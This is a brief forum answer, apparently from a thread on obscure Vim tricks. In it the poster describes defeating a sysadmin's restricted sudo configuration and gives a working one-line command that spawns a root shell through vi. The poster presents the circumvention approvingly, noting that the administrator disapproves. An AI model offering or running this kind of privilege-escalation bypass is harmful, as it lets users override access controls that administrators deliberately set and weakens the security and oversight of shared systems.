What are the dark corners of Vim your mom never told you about? [closed]

Answer 1

I like to use 'sudo bash', and my sysadmin hates this. He locked down 'sudo' so it could only be used with a handful of commands (ls, chmod, chown, vi, etc), but I was able to use vim to get a root shell anyway:

bash$ sudo vi +'silent !bash' +q
